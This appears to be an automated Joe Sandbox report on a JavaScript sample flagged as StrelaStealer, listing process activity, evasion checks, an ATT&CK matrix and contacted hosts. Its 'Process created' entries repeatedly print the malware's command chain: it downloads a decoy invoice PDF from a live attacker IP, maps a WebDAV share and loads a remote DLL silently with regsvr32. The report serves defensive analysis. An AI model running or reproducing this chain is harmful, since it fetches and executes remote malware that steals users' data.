Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4088			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5799			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep count: 4088 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep count: 5799 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7756	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8044	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1801666547.000001B65AF18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1800914045.000001B65AF7B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1802028544.000001B65AF7B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1800677592.000001B65AF7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3017720587.0000014FF3C2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3018607795.0000014FF9242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3018644780.0000014FF9254000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
959032706323392160.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
959032706323392160.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/BA;	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/BA;	net.exe, 00000006.00000002.1801743724.000001B65AF45000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1800770385.000001B65AF45000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1801666547.000001B65AF18000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1742226648.000002004D3FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3018699231.0000014FF928C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1804918509.0000014FF94C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1800770385.000001B65AF45000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1801998741.000001B65AF71000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1804918509.0000014FF94C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588912
Start date and time:	2025-01-11 07:03:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	959032706323392160.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 52.6.155.20, 52.22.41.97, 3.219.243.226, 3.233.129.217, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.23.197.184, 23.200.0.33, 23.200.0.21, 192.168.2.4, 52.149.20.212, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:04:56	API Interceptor	23x Sleep call for process: powershell.exe modified
01:05:00	API Interceptor	1x Sleep call for process: net.exe modified
01:05:00	API Interceptor	2x Sleep call for process: svchost.exe modified
01:05:13	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073334798326053
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrU:KooCEYhgYEL0In
MD5:	C5DC03FFD8AF6384DCAE9173BC494985
SHA1:	1537D0116E8CAC7FF3F28B01E51B2A63F4D66586
SHA-256:	6D39031ED1585B8EE6F9224E9F739DE690778F1DABDFA7AFD4809248F6F745EB
SHA-512:	57B99C32E8CBE9F949A922021A234FFF165DE8167742ABCC45CEDE03DCB60F1FC083DD065E4603B0FDBB253368A41C5E41029FC5C02E9D09E32F157BF79DBCBF
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x23fcf171, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213526651586225
Encrypted:	false
